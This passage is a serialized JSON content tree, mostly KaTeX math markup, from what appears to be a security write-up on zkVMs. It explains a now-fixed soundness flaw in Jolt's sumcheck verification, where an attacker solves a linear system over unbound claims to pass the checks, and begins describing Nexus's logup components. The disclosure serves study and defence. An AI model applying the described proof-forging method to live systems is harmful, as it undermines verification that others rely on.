0037em;margin-right:0.05em;",[117368,117372],{"type":22,"tag":118,"props":117369,"children":117371},{"className":117370,"style":6065},[6064],[],{"type":22,"tag":118,"props":117373,"children":117375},{"className":117374},[6070,6071,6072,6073],[117376],{"type":22,"tag":118,"props":117377,"children":117379},{"className":117378},[6023,23542,6073],[117380],{"type":28,"value":3613},{"type":22,"tag":118,"props":117382,"children":117384},{"className":117383},[23699],[117385],{"type":28,"value":23702},{"type":22,"tag":118,"props":117387,"children":117389},{"className":117388},[6050],[117390],{"type":22,"tag":118,"props":117391,"children":117393},{"className":117392,"style":94726},[6055],[117394],{"type":22,"tag":118,"props":117395,"children":117396},{},[],{"type":22,"tag":118,"props":117398,"children":117400},{"className":117399,"style":6105},[6104],[],{"type":22,"tag":118,"props":117402,"children":117404},{"className":117403},[6110],[117405],{"type":28,"value":112905},{"type":22,"tag":118,"props":117407,"children":117409},{"className":117408,"style":6105},[6104],[],{"type":22,"tag":118,"props":117411,"children":117413},{"className":117412},[6012],[117414,117418],{"type":22,"tag":118,"props":117415,"children":117417},{"className":117416,"style":112640},[6017],[],{"type":22,"tag":118,"props":117419,"children":117421},{"className":117420},[6023],[117422,117427],{"type":22,"tag":118,"props":117423,"children":117425},{"className":117424,"style":94877},[6023,23542],[117426],{"type":28,"value":94880},{"type":22,"tag":118,"props":117428,"children":117430},{"className":117429},[6040],[117431],{"type":22,"tag":118,"props":117432,"children":117434},{"className":117433},[6045,23596],[117435,117464],{"type":22,"tag":118,"props":117436,"children":117438},{"className":117437},[6050],[117439,117459],{"type":22,"tag":118,"props":117440,"children":117442},{"className":117441,"style":95172},[6055],[117443],{"type":22,"tag":118,"props":117444,"children":117445},{"style":112072},[117446,117450],{"type":22,"tag":118,"props":117447,"children":117449},{"className":117448,"style":6065},[6064],[],{"type":22,"tag":118,"props":117451,"children":117453},{"className":117452},[6070,6071,6072,6073],[117454],{"type":22,"tag":118,"props":117455,"children":117457},{"className":117456},[6023,23542,6073],[117458],{"type":28,"value":3613},{"type":22,"tag":118,"props":117460,"children":117462},{"className":117461},[23699],[117463],{"type":28,"value":23702},{"type":22,"tag":118,"props":117465,"children":117467},{"className":117466},[6050],[117468],{"type":22,"tag":118,"props":117469,"children":117471},{"className":117470,"style":94726},[6055],[117472],{"type":22,"tag":118,"props":117473,"children":117474},{},[],{"type":22,"tag":31,"props":117476,"children":117477},{},[117478,117480,117557,117559,117564,117566,117643,117645,117722,117724,117801],{"type":28,"value":117479},"where ",{"type":22,"tag":114,"props":117481,"children":117483},{"className":117482},[5995,5996],[117484],{"type":22,"tag":118,"props":117485,"children":117487},{"className":117486},[6001],[117488],{"type":22,"tag":118,"props":117489,"children":117491},{"className":117490,"ariaHidden":6007},[6006],[117492],{"type":22,"tag":118,"props":117493,"children":117495},{"className":117494},[6012],[117496,117500],{"type":22,"tag":118,"props":117497,"children":117499},{"className":117498,"style":111613},[6017],[],{"type":22,"tag":118,"props":117501,"children":117503},{"className":117502},[6023],[117504,117509],{"type":22,"tag":118,"props":117505,"children":117507},{"className":117506,"style":116731},[6023,23542],[117508],{"type":28,"value":116734},{"type":22,"tag":118,"props":117510,"children":117512},{"className":117511},[6040],[117513],{"type":22,"tag":118,"props":117514,"children":117516},{"className":117515},[6045,23596],[117517,117546],{"type":22,"tag":118,"props":117518,"children":117520},{"className":117519},[6050],[117521,117541],{"type":22,"tag":118,"props":117522,"children":117524},{"className":117523,"style":95172},[6055],[117525],{"type":22,"tag":118,"props":117526,"children":117527},{"style":117366},[117528,117532],{"type":22,"tag":118,"props":117529,"children":117531},{"className":117530,"style":6065},[6064],[],{"type":22,"tag":118,"props":117533,"children":117535},{"className":117534},[6070,6071,6072,6073],[117536],{"type":22,"tag":118,"props":117537,"children":117539},{"className":117538},[6023,23542,6073],[117540],{"type":28,"value":3613},{"type":22,"tag":118,"props":117542,"children":117544},{"className":117543},[23699],[117545],{"type":28,"value":23702},{"type":22,"tag":118,"props":117547,"children":117549},{"className":117548},[6050],[117550],{"type":22,"tag":118,"props":117551,"children":117553},{"className":117552,"style":94726},[6055],[117554],{"type":22,"tag":118,"props":117555,"children":117556},{},[],{"type":28,"value":117558}," are random coefficients derived from the transcript. Since ",{"type":22,"tag":114,"props":117560,"children":117562},{"className":117561},[],[117563],{"type":28,"value":117107},{"type":28,"value":117565}," (containing ",{"type":22,"tag":114,"props":117567,"children":117569},{"className":117568},[5995,5996],[117570],{"type":22,"tag":118,"props":117571,"children":117573},{"className":117572},[6001],[117574],{"type":22,"tag":118,"props":117575,"children":117577},{"className":117576,"ariaHidden":6007},[6006],[117578],{"type":22,"tag":118,"props":117579,"children":117581},{"className":117580},[6012],[117582,117586],{"type":22,"tag":118,"props":117583,"children":117585},{"className":117584,"style":112640},[6017],[],{"type":22,"tag":118,"props":117587,"children":117589},{"className":117588},[6023],[117590,117595],{"type":22,"tag":118,"props":117591,"children":117593},{"className":117592,"style":94877},[6023,23542],[117594],{"type":28,"value":94880},{"type":22,"tag":118,"props":117596,"children":117598},{"className":117597},[6040],[117599],{"type":22,"tag":118,"props":117600,"children":117602},{"className":117601},[6045,23596],[117603,117632],{"type":22,"tag":118,"props":117604,"children":117606},{"className":117605},[6050],[117607,117627],{"type":22,"tag":118,"props":117608,"children":117610},{"className":117609,"style":95172},[6055],[117611],{"type":22,"tag":118,"props":117612,"children":117613},{"style":112072},[117614,117618],{"type":22,"tag":118,"props":117615,"children":117617},{"className":117616,"style":6065},[6064],[],{"type":22,"tag":118,"props":117619,"children":117621},{"className":117620},[6070,6071,6072,6073],[117622],{"type":22,"tag":118,"props":117623,"children":117625},{"className":117624},[6023,23542,6073],[117626],{"type":28,"value":3613},{"type":22,"tag":118,"props":117628,"children":117630},{"className":117629},[23699],[117631],{"type":28,"value":23702},{"type":22,"tag":118,"props":117633,"children":117635},{"className":117634},[6050],[117636],{"type":22,"tag":118,"props":117637,"children":117639},{"className":117638,"style":94726},[6055],[117640],{"type":22,"tag":118,"props":117641,"children":117642},{},[],{"type":28,"value":117644},") were not in the transcript, the ",{"type":22,"tag":114,"props":117646,"children":117648},{"className":117647},[5995,5996],[117649],{"type":22,"tag":118,"props":117650,"children":117652},{"className":117651},[6001],[117653],{"type":22,"tag":118,"props":117654,"children":117656},{"className":117655,"ariaHidden":6007},[6006],[117657],{"type":22,"tag":118,"props":117658,"children":117660},{"className":117659},[6012],[117661,117665],{"type":22,"tag":118,"props":117662,"children":117664},{"className":117663,"style":111613},[6017],[],{"type":22,"tag":118,"props":117666,"children":117668},{"className":117667},[6023],[117669,117674],{"type":22,"tag":118,"props":117670,"children":117672},{"className":117671,"style":116731},[6023,23542],[117673],{"type":28,"value":116734},{"type":22,"tag":118,"props":117675,"children":117677},{"className":117676},[6040],[117678],{"type":22,"tag":118,"props":117679,"children":117681},{"className":117680},[6045,23596],[117682,117711],{"type":22,"tag":118,"props":117683,"children":117685},{"className":117684},[6050],[117686,117706],{"type":22,"tag":118,"props":117687,"children":117689},{"className":117688,"style":95172},[6055],[117690],{"type":22,"tag":118,"props":117691,"children":117692},{"style":117366},[117693,117697],{"type":22,"tag":118,"props":117694,"children":117696},{"className":117695,"style":6065},[6064],[],{"type":22,"tag":118,"props":117698,"children":117700},{"className":117699},[6070,6071,6072,6073],[117701],{"type":22,"tag":118,"props":117702,"children":117704},{"className":117703},[6023,23542,6073],[117705],{"type":28,"value":3613},{"type":22,"tag":118,"props":117707,"children":117709},{"className":117708},[23699],[117710],{"type":28,"value":23702},{"type":22,"tag":118,"props":117712,"children":117714},{"className":117713},[6050],[117715],{"type":22,"tag":118,"props":117716,"children":117718},{"className":117717,"style":94726},[6055],[117719],{"type":22,"tag":118,"props":117720,"children":117721},{},[],{"type":28,"value":117723}," values are independent of ",{"type":22,"tag":114,"props":117725,"children":117727},{"className":117726},[5995,5996],[117728],{"type":22,"tag":118,"props":117729,"children":117731},{"className":117730},[6001],[117732],{"type":22,"tag":118,"props":117733,"children":117735},{"className":117734,"ariaHidden":6007},[6006],[117736],{"type":22,"tag":118,"props":117737,"children":117739},{"className":117738},[6012],[117740,117744],{"type":22,"tag":118,"props":117741,"children":117743},{"className":117742,"style":112640},[6017],[],{"type":22,"tag":118,"props":117745,"children":117747},{"className":117746},[6023],[117748,117753],{"type":22,"tag":118,"props":117749,"children":117751},{"className":117750,"style":94877},[6023,23542],[117752],{"type":28,"value":94880},{"type":22,"tag":118,"props":117754,"children":117756},{"className":117755},[6040],[117757],{"type":22,"tag":118,"props":117758,"children":117760},{"className":117759},[6045,23596],[117761,117790],{"type":22,"tag":118,"props":117762,"children":117764},{"className":117763},[6050],[117765,117785],{"type":22,"tag":118,"props":117766,"children":117768},{"className":117767,"style":95172},[6055],[117769],{"type":22,"tag":118,"props":117770,"children":117771},{"style":112072},[117772,117776],{"type":22,"tag":118,"props":117773,"children":117775},{"className":117774,"style":6065},[6064],[],{"type":22,"tag":118,"props":117777,"children":117779},{"className":117778},[6070,6071,6072,6073],[117780],{"type":22,"tag":118,"props":117781,"children":117783},{"className":117782},[6023,23542,6073],[117784],{"type":28,"value":3613},{"type":22,"tag":118,"props":117786,"children":117788},{"className":117787},[23699],[117789],{"type":28,"value":23702},{"type":22,"tag":118,"props":117791,"children":117793},{"className":117792},[6050],[117794],{"type":22,"tag":118,"props":117795,"children":117797},{"className":117796,"style":94726},[6055],[117798],{"type":22,"tag":118,"props":117799,"children":117800},{},[],{"type":28,"value":292},{"type":22,"tag":31,"props":117803,"children":117804},{},[117805],{"type":22,"tag":74,"props":117806,"children":117807},{},[117808],{"type":28,"value":117809},"Why it's linear:",{"type":22,"tag":31,"props":117811,"children":117812},{},[117813,117815],{"type":28,"value":117814},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":22,"tag":114,"props":117816,"children":117818},{"className":117817},[5995,5996],[117819],{"type":22,"tag":118,"props":117820,"children":117822},{"className":117821},[6001],[117823],{"type":22,"tag":118,"props":117824,"children":117826},{"className":117825,"ariaHidden":6007},[6006],[117827],{"type":22,"tag":118,"props":117828,"children":117830},{"className":117829},[6012],[117831,117835],{"type":22,"tag":118,"props":117832,"children":117834},{"className":117833,"style":23537},[6017],[],{"type":22,"tag":118,"props":117836,"children":117838},{"className":117837,"style":94877},[6023,23542],[117839],{"type":28,"value":94880},{"type":22,"tag":31,"props":117841,"children":117842},{},[117843],{"type":22,"tag":114,"props":117844,"children":117846},{"className":117845},[5995,5996],[117847],{"type":22,"tag":118,"props":117848,"children":117850},{"className":117849},[6001],[117851],{"type":22,"tag":118,"props":117852,"children":117854},{"className":117853,"ariaHidden":6007},[6006],[117855,117945,117971,117997],{"type":22,"tag":118,"props":117856,"children":117858},{"className":117857},[6012],[117859,117863,117932,117936,117941],{"type":22,"tag":118,"props":117860,"children":117862},{"className":117861,"style":112640},[6017],[],{"type":22,"tag":118,"props":117864,"children":117866},{"className":117865},[6023],[117867,117873],{"type":22,"tag":118,"props":117868,"children":117870},{"className":117869,"style":24074},[6023,23542],[117871],{"type":28,"value":117872},"C",{"type":22,"tag":118,"props":117874,"children":117876},{"className":117875},[6040],[117877],{"type":22,"tag":118,"props":117878,"children":117880},{"className":117879},[6045,23596],[117881,117921],{"type":22,"tag":118,"props":117882,"children":117884},{"className":117883},[6050],[117885,117916],{"type":22,"tag":118,"props":117886,"children":117889},{"className":117887,"style":117888},[6055],"height:0.3361em;",[117890],{"type":22,"tag":118,"props":117891,"children":117893},{"style":117892},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[117894,117898],{"type":22,"tag":118,"props":117895,"children":117897},{"className":117896,"style":6065},[6064],[],{"type":22,"tag":118,"props":117899,"children":117901},{"className":117900},[6070,6071,6072,6073],[117902],{"type":22,"tag":118,"props":117903,"children":117905},{"className":117904},[6023,6073],[117906],{"type":22,"tag":118,"props":117907,"children":117909},{"className":117908},[6023,28,6073],[117910],{"type":22,"tag":118,"props":117911,"children":117913},{"className":117912},[6023,6073],[117914],{"type":28,"value":117915},"final",{"type":22,"tag":118,"props":117917,"children":117919},{"className":117918},[23699],[117920],{"type":28,"value":23702},{"type":22,"tag":118,"props":117922,"children":117924},{"className":117923},[6050],[117925],{"type":22,"tag":118,"props":117926,"children":117928},{"className":117927,"style":94726},[6055],[117929],{"type":22,"tag":118,"props":117930,"children":117931},{},[],{"type":22,"tag":118,"props":117933,"children":117935},{"className":117934,"style":6202},[6104],[],{"type":22,"tag":118,"props":117937,"children":117939},{"className":117938},[6207],[117940],{"type":28,"value":282},{"type":22,"tag":118,"props":117942,"children":117944},{"className":117943,"style":6202},[6104],[],{"type":22,"tag":118,"props":117946,"children":117948},{"className":117947},[6012],[117949,117953,117958,117962,117967],{"type":22,"tag":118,"props":117950,"children":117952},{"className":117951,"style":116726},[6017],[],{"type":22,"tag":118,"props":117954,"children":117956},{"className":117955},[6023,23542],[117957],{"type":28,"value":42},{"type":22,"tag":118,"props":117959,"children":117961},{"className":117960,"style":6105},[6104],[],{"type":22,"tag":118,"props":117963,"children":117965},{"className":117964},[6110],[117966],{"type":28,"value":112905},{"type":22,"tag":118,"props":117968,"children":117970},{"className":117969,"style":6105},[6104],[],{"type":22,"tag":118,"props":117972,"children":117974},{"className":117973},[6012],[117975,117979,117984,117988,117993],{"type":22,"tag":118,"props":117976,"children":117978},{"className":117977,"style":116755},[6017],[],{"type":22,"tag":118,"props":117980,"children":117982},{"className":117981,"style":94877},[6023,23542],[117983],{"type":28,"value":94880},{"type":22,"tag":118,"props":117985,"children":117987},{"className":117986,"style":6105},[6104],[],{"type":22,"tag":118,"props":117989,"children":117991},{"className":117990},[6110],[117992],{"type":28,"value":3220},{"type":22,"tag":118,"props":117994,"children":117996},{"className":117995,"style":6105},[6104],[],{"type":22,"tag":118,"props":117998,"children":118000},{"className":117999},[6012],[118001,118005],{"type":22,"tag":118,"props":118002,"children":118004},{"className":118003,"style":94558},[6017],[],{"type":22,"tag":118,"props":118006,"children":118008},{"className":118007},[6023,23542],[118009],{"type":28,"value":5243},{"type":22,"tag":31,"props":118011,"children":118012},{},[118013,118014,118053,118055,118080,118082,118212,118214,118335],{"type":28,"value":117479},{"type":22,"tag":114,"props":118015,"children":118017},{"className":118016},[5995,5996],[118018],{"type":22,"tag":118,"props":118019,"children":118021},{"className":118020},[6001],[118022],{"type":22,"tag":118,"props":118023,"children":118025},{"className":118024,"ariaHidden":6007},[6006],[118026],{"type":22,"tag":118,"props":118027,"children":118029},{"className":118028},[6012],[118030,118034,118039,118044,118048],{"type":22,"tag":118,"props":118031,"children":118033},{"className":118032,"style":116698},[6017],[],{"type":22,"tag":118,"props":118035,"children":118037},{"className":118036},[6023,23542],[118038],{"type":28,"value":42},{"type":22,"tag":118,"props":118040,"children":118042},{"className":118041},[6136],[118043],{"type":28,"value":6139},{"type":22,"tag":118,"props":118045,"children":118047},{"className":118046,"style":6143},[6104],[],{"type":22,"tag":118,"props":118049,"children":118051},{"className":118050},[6023,23542],[118052],{"type":28,"value":5243},{"type":28,"value":118054}," are determined by the transcript (independent of ",{"type":22,"tag":114,"props":118056,"children":118058},{"className":118057},[5995,5996],[118059],{"type":22,"tag":118,"props":118060,"children":118062},{"className":118061},[6001],[118063],{"type":22,"tag":118,"props":118064,"children":118066},{"className":118065,"ariaHidden":6007},[6006],[118067],{"type":22,"tag":118,"props":118068,"children":118070},{"className":118069},[6012],[118071,118075],{"type":22,"tag":118,"props":118072,"children":118074},{"className":118073,"style":23537},[6017],[],{"type":22,"tag":118,"props":118076,"children":118078},{"className":118077,"style":94877},[6023,23542],[118079],{"type":28,"value":94880},{"type":28,"value":118081},"). The verifier checks that ",{"type":22,"tag":114,"props":118083,"children":118085},{"className":118084},[5995,5996],[118086],{"type":22,"tag":118,"props":118087,"children":118089},{"className":118088},[6001],[118090],{"type":22,"tag":118,"props":118091,"children":118093},{"className":118092,"ariaHidden":6007},[6006],[118094,118180],{"type":22,"tag":118,"props":118095,"children":118097},{"className":118096},[6012],[118098,118102,118167,118171,118176],{"type":22,"tag":118,"props":118099,"children":118101},{"className":118100,"style":112640},[6017],[],{"type":22,"tag":118,"props":118103,"children":118105},{"className":118104},[6023],[118106,118111],{"type":22,"tag":118,"props":118107,"children":118109},{"className":118108,"style":24074},[6023,23542],[118110],{"type":28,"value":117872},{"type":22,"tag":118,"props":118112,"children":118114},{"className":118113},[6040],[118115],{"type":22,"tag":118,"props":118116,"children":118118},{"className":118117},[6045,23596],[118119,118156],{"type":22,"tag":118,"props":118120,"children":118122},{"className":118121},[6050],[118123,118151],{"type":22,"tag":118,"props":118124,"children":118126},{"className":118125,"style":117888},[6055],[118127],{"type":22,"tag":118,"props":118128,"children":118129},{"style":117892},[118130,118134],{"type":22,"tag":118,"props":118131,"children":118133},{"className":118132,"style":6065},[6064],[],{"type":22,"tag":118,"props":118135,"children":118137},{"className":118136},[6070,6071,6072,6073],[118138],{"type":22,"tag":118,"props":118139,"children":118141},{"className":118140},[6023,6073],[118142],{"type":22,"tag":118,"props":118143,"children":118145},{"className":118144},[6023,28,6073],[118146],{"type":22,"tag":118,"props":118147,"children":118149},{"className":118148},[6023,6073],[118150],{"type":28,"value":117915},{"type":22,"tag":118,"props":118152,"children":118154},{"className":118153},[23699],[118155],{"type":28,"value":23702},{"type":22,"tag":118,"props":118157,"children":118159},{"className":118158},[6050],[118160],{"type":22,"tag":118,"props":118161,"children":118163},{"className":118162,"style":94726},[6055],[118164],{"type":22,"tag":118,"props":118165,"children":118166},{},[],{"type":22,"tag":118,"props":118168,"children":118170},{"className":118169,"style":6202},[6104],[],{"type":22,"tag":118,"props":118172,"children":118174},{"className":118173},[6207],[118175],{"type":28,"value":282},{"type":22,"tag":118,"props":118177,"children":118179},{"className":118178,"style":6202},[6104],[],{"type":22,"tag":118,"props":118181,"children":118183},{"className":118182},[6012],[118184,118188,118198,118203],{"type":22,"tag":118,"props":118185,"children":118187},{"className":118186,"style":96056},[6017],[],{"type":22,"tag":118,"props":118189,"children":118191},{"className":118190},[6023,28],[118192],{"type":22,"tag":118,"props":118193,"children":118195},{"className":118194},[6023],[118196],{"type":28,"value":118197},"expected",{"type":22,"tag":118,"props":118199,"children":118201},{"className":118200,"style":94643},[6023],[118202],{"type":28,"value":3422},{"type":22,"tag":118,"props":118204,"children":118206},{"className":118205},[6023,28],[118207],{"type":22,"tag":118,"props":118208,"children":118210},{"className":118209},[6023],[118211],{"type":28,"value":39489},{"type":28,"value":118213}," (from PCS opening), this becomes ",{"type":22,"tag":114,"props":118215,"children":118217},{"className":118216},[5995,5996],[118218],{"type":22,"tag":118,"props":118219,"children":118221},{"className":118220},[6001],[118222],{"type":22,"tag":118,"props":118223,"children":118225},{"className":118224,"ariaHidden":6007},[6006],[118226,118252,118278,118304],{"type":22,"tag":118,"props":118227,"children":118229},{"className":118228},[6012],[118230,118234,118239,118243,118248],{"type":22,"tag":118,"props":118231,"children":118233},{"className":118232,"style":116726},[6017],[],{"type":22,"tag":118,"props":118235,"children":118237},{"className":118236},[6023,23542],[118238],{"type":28,"value":42},{"type":22,"tag":118,"props":118240,"children":118242},{"className":118241,"style":6105},[6104],[],{"type":22,"tag":118,"props":118244,"children":118246},{"className":118245},[6110],[118247],{"type":28,"value":112905},{"type":22,"tag":118,"props":118249,"children":118251},{"className":118250,"style":6105},[6104],[],{"type":22,"tag":118,"props":118253,"children":118255},{"className":118254},[6012],[118256,118260,118265,118269,118274],{"type":22,"tag":118,"props":118257,"children":118259},{"className":118258,"style":116755},[6017],[],{"type":22,"tag":118,"props":118261,"children":118263},{"className":118262,"style":94877},[6023,23542],[118264],{"type":28,"value":94880},{"type":22,"tag":118,"props":118266,"children":118268},{"className":118267,"style":6105},[6104],[],{"type":22,"tag":118,"props":118270,"children":118272},{"className":118271},[6110],[118273],{"type":28,"value":3220},{"type":22,"tag":118,"props":118275,"children":118277},{"className":118276,"style":6105},[6104],[],{"type":22,"tag":118,"props":118279,"children":118281},{"className":118280},[6012],[118282,118286,118291,118295,118300],{"type":22,"tag":118,"props":118283,"children":118285},{"className":118284,"style":94558},[6017],[],{"type":22,"tag":118,"props":118287,"children":118289},{"className":118288},[6023,23542],[118290],{"type":28,"value":5243},{"type":22,"tag":118,"props":118292,"children":118294},{"className":118293,"style":6202},[6104],[],{"type":22,"tag":118,"props":118296,"children":118298},{"className":118297},[6207],[118299],{"type":28,"value":282},{"type":22,"tag":118,"props":118301,"children":118303},{"className":118302,"style":6202},[6104],[],{"type":22,"tag":118,"props":118305,"children":118307},{"className":118306},[6012],[118308,118312,118321,118326],{"type":22,"tag":118,"props":118309,"children":118311},{"className":118310,"style":96056},[6017],[],{"type":22,"tag":118,"props":118313,"children":118315},{"className":118314},[6023,28],[118316],{"type":22,"tag":118,"props":118317,"children":118319},{"className":118318},[6023],[118320],{"type":28,"value":118197},{"type":22,"tag":118,"props":118322,"children":118324},{"className":118323,"style":94643},[6023],[118325],{"type":28,"value":3422},{"type":22,"tag":118,"props":118327,"children":118329},{"className":118328},[6023,28],[118330],{"type":22,"tag":118,"props":118331,"children":118333},{"className":118332},[6023],[118334],{"type":28,"value":39489},{"type":28,"value":292},{"type":22,"tag":31,"props":118337,"children":118338},{},[118339],{"type":28,"value":118340},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":22,"tag":31,"props":118342,"children":118343},{},[118344],{"type":28,"value":118345},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":22,"tag":31,"props":118347,"children":118348},{},[118349,118354,118356],{"type":22,"tag":74,"props":118350,"children":118351},{},[118352],{"type":28,"value":118353},"Status:",{"type":28,"value":118355}," Fixed on October 3, 2025 via ",{"type":22,"tag":42,"props":118357,"children":118360},{"href":118358,"rel":118359},"https://github.com/a16z/jolt/pull/981",[46],[118361],{"type":28,"value":118362},"PR #981",{"type":22,"tag":20760,"props":118364,"children":118365},{},[],{"type":22,"tag":1289,"props":118367,"children":118369},{"id":118368},"nexus",[118370],{"type":28,"value":109462},{"type":22,"tag":31,"props":118372,"children":118373},{},[118374],{"type":28,"value":118375},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":22,"tag":31,"props":118377,"children":118378},{},[118379,118381,118386],{"type":28,"value":118380},"Nexus splits verification into ",{"type":22,"tag":74,"props":118382,"children":118383},{},[118384],{"type":28,"value":118385},"components",{"type":28,"value":118387}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":22,"tag":31,"props":118389,"children":118390},{},[118391,118393,118398],{"type":28,"value":118392},"Each component emits and consumes lookup tuples. The component's ",{"type":22,"tag":114,"props":118394,"children":118396},{"className":118395},[],[118397],{"type":28,"value":116507},{"type":28,"value":118399}," summarizes its net contribution:",{"type":22,"tag":31,"props":118401,"children":118402},{},[118403],{"type":22,"tag":114,"props":118404,"children":118406},{"className":118405},[5995,5996],[118407],{"type":22,"tag":118,"props":118408,"children":118410},{"className":118409},[6001],[118411],{"type":22,"tag":118,"props":118412,"children":118414},{"className":118413,"ariaHidden":6007},[6006],[118415,118511,118760],{"type":22,"tag":118,"props":118416,"children":118418},{"className":118417},[6012],[118419,118423,118432,118437,118498,118502,118507],{"type":22,"tag":118,"props":118420,"children":118422},{"className":118421,"style":96056},[6017],[],{"type":22,"tag":118,"props":118424,"children":118426},{"className":118425},[6023,28],[118427],{"type":22,"tag":118,"props":118428,"children":118430},{"className":118429},[6023],[118431],{"type":28,"value":115736},{"type":22,"tag":118,"props":118433,"children":118435},{"className":118434,"style":94643},[6023],[118436],{"type":28,"value":3422},{"type":22,"tag":118,"props":118438,"children":118440},{"className":118439},[6023],[118441,118450],{"type":22,"tag":118,"props":118442,"children":118444},{"className":118443},[6023,28],[118445],{"type":22,"tag":118,"props":118446,"children":118448},{"className":118447},[6023],[118449],{"type":28,"value":78228},{"type":22,"tag":118,"props":118451,"children":118453},{"className":118452},[6040],[118454],{"type":22,"tag":118,"props":118455,"children":118457},{"className":118456},[6045,23596],[118458,118487],{"type":22,"tag":118,"props":118459,"children":118461},{"className":118460},[6050],[118462,118482],{"type":22,"tag":118,"props":118463,"children":118465},{"className":118464,"style":95172},[6055],[118466],{"type":22,"tag":118,"props":118467,"children":118468},{"style":115773},[118469,118473],{"type":22,"tag":118,"props":118470,"children":118472},{"className":118471,"style":6065},[6064],[],{"type":22,"tag":118,"props":118474,"children":118476},{"className":118475},[6070,6071,6072,6073],[118477],{"type":22,"tag":118,"props":118478,"children":118480},{"className":118479},[6023,23542,6073],[118481],{"type":28,"value":3613},{"type":22,"tag":118,"props":118483,"children":118485},{"className":118484},[23699],[118486],{"type":28,"value":23702},{"type":22,"tag":118,"props":118488,"children":118490},{"className":118489},[6050],[118491],{"type":22,"tag":118,"props":118492,"children":118494},{"className":118493,"style":94726},[6055],[118495],{"type":22,"tag":118,"props":118496,"children":118497},{},[],{"type":22,"tag":118,"props":118499,"children":118501},{"className":118500,"style":6202},[6104],[],{"type":22,"tag":118,"props":118503,"children":118505},{"className":118504},[6207],[118506],{"type":28,"value":282},{"type":22,"tag":118,"props":118508,"children":118510},{"className":118509,"style":6202},[6104],[],{"type":22,"tag":118,"props":118512,"children":118514},{"className":118513},[6012],[118515,118520,118577,118581,118747,118751,118756],{"type":22,"tag":118,"props":118516,"children":118519},{"className":118517,"style":118518},[6017],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":22,"tag":118,"props":118521,"children":118523},{"className":118522},[23578],[118524,118529],{"type":22,"tag":118,"props":118525,"children":118527},{"className":118526,"style":23585},[23578,23583,23584],[118528],{"type":28,"value":110438},{"type":22,"tag":118,"props":118530,"children":118532},{"className":118531},[6040],[118533],{"type":22,"tag":118,"props":118534,"children":118536},{"className":118535},[6045,23596],[118537,118566],{"type":22,"tag":118,"props":118538,"children":118540},{"className":118539},[6050],[118541,118561],{"type":22,"tag":118,"props":118542,"children":118544},{"className":118543,"style":115850},[6055],[118545],{"type":22,"tag":118,"props":118546,"children":118547},{"style":23609},[118548,118552],{"type":22,"tag":118,"props":118549,"children":118551},{"className":118550,"style":6065},[6064],[],{"type":22,"tag":118,"props":118553,"children":118555},{"className":118554},[6070,6071,6072,6073],[118556],{"type":22,"tag":118,"props":118557,"children":118559},{"className":118558,"style":115866},[6023,23542,6073],[118560],{"type":28,"value":10658},{"type":22,"tag":118,"props":118562,"children":118564},{"className":118563},[23699],[118565],{"type":28,"value":23702},{"type":22,"tag":118,"props":118567,"children":118569},{"className":118568},[6050],[118570],{"type":22,"tag":118,"props":118571,"children":118573},{"className":118572,"style":115881},[6055],[118574],{"type":22,"tag":118,"props":118575,"children":118576},{},[],{"type":22,"tag":118,"props":118578,"children":118580},{"className":118579,"style":6143},[6104],[],{"type":22,"tag":118,"props":118582,"children":118584},{"className":118583},[6023],[118585,118589,118743],{"type":22,"tag":118,"props":118586,"children":118588},{"className":118587},[23671,115161],[],{"type":22,"tag":118,"props":118590,"children":118592},{"className":118591},[115166],[118593],{"type":22,"tag":118,"props":118594,"children":118596},{"className":118595},[6045,23596],[118597,118731],{"type":22,"tag":118,"props":118598,"children":118600},{"className":118599},[6050],[118601,118726],{"type":22,"tag":118,"props":118602,"children":118604},{"className":118603,"style":115179},[6055],[118605,118695,118706],{"type":22,"tag":118,"props":118606,"children":118607},{"style":115183},[118608,118612],{"type":22,"tag":118,"props":118609,"children":118611},{"className":118610,"style":113814},[6064],[],{"type":22,"tag":118,"props":118613,"children":118615},{"className":118614},[6070,6071,6072,6073],[118616],{"type":22,"tag":118,"props":118617,"children":118619},{"className":118618},[6023,6073],[118620,118625,118630],{"type":22,"tag":118,"props":118621,"children":118623},{"className":118622,"style":115200},[6023,23542,6073],[118624],{"type":28,"value":115203},{"type":22,"tag":118,"props":118626,"children":118628},{"className":118627},[6110,6073],[118629],{"type":28,"value":6084},{"type":22,"tag":118,"props":118631,"children":118633},{"className":118632},[6023,6073],[118634,118644],{"type":22,"tag":118,"props":118635,"children":118637},{"className":118636},[6023,28,6073],[118638],{"type":22,"tag":118,"props":118639,"children":118641},{"className":118640},[6023,6073],[118642],{"type":28,"value":118643},"produced",{"type":22,"tag":118,"props":118645,"children":118647},{"className":118646},[6040],[118648],{"type":22,"tag":118,"props":118649,"children":118651},{"className":118650},[6045,23596],[118652,118683],{"type":22,"tag":118,"props":118653,"children":118655},{"className":118654},[6050],[118656,118678],{"type":22,"tag":118,"props":118657,"children":118660},{"className":118658,"style":118659},[6055],"height:0.2052em;",[118661],{"type":22,"tag":118,"props":118662,"children":118664},{"style":118663},"top:-2.2341em;margin-right:0.0714em;",[118665,118669],{"type":22,"tag":118,"props":118666,"children":118668},{"className":118667,"style":110503},[6064],[],{"type":22,"tag":118,"props":118670,"children":118672},{"className":118671},[6070,110508,110509,6073],[118673],{"type":22,"tag":118,"props":118674,"children":118676},{"className":118675,"style":115866},[6023,23542,6073],[118677],{"type":28,"value":10658},{"type":22,"tag":118,"props":118679,"children":118681},{"className":118680},[23699],[118682],{"type":28,"value":23702},{"type":22,"tag":118,"props":118684,"children":118686},{"className":118685},[6050],[118687],{"type":22,"tag":118,"props":118688,"children":118691},{"className":118689,"style":118690},[6055],"height:0.4048em;",[118692],{"type":22,"tag":118,"props":118693,"children":118694},{},[],{"type":22,"tag":118,"props":118696,"children":118697},{"style":115216},[118698,118702],{"type":22,"tag":118,"props":118699,"children":118701},{"className":118700,"style":113814},[6064],[],{"type":22,"tag":118,"props":118703,"children":118705},{"className":118704,"style":115226},[115225],[],{"type":22,"tag":118,"props":118707,"children":118708},{"style":115230},[118709,118713],{"type":22,"tag":118,"props":118710,"children":118712},{"className":118711,"style":113814},[6064],[],{"type":22,"tag":118,"props":11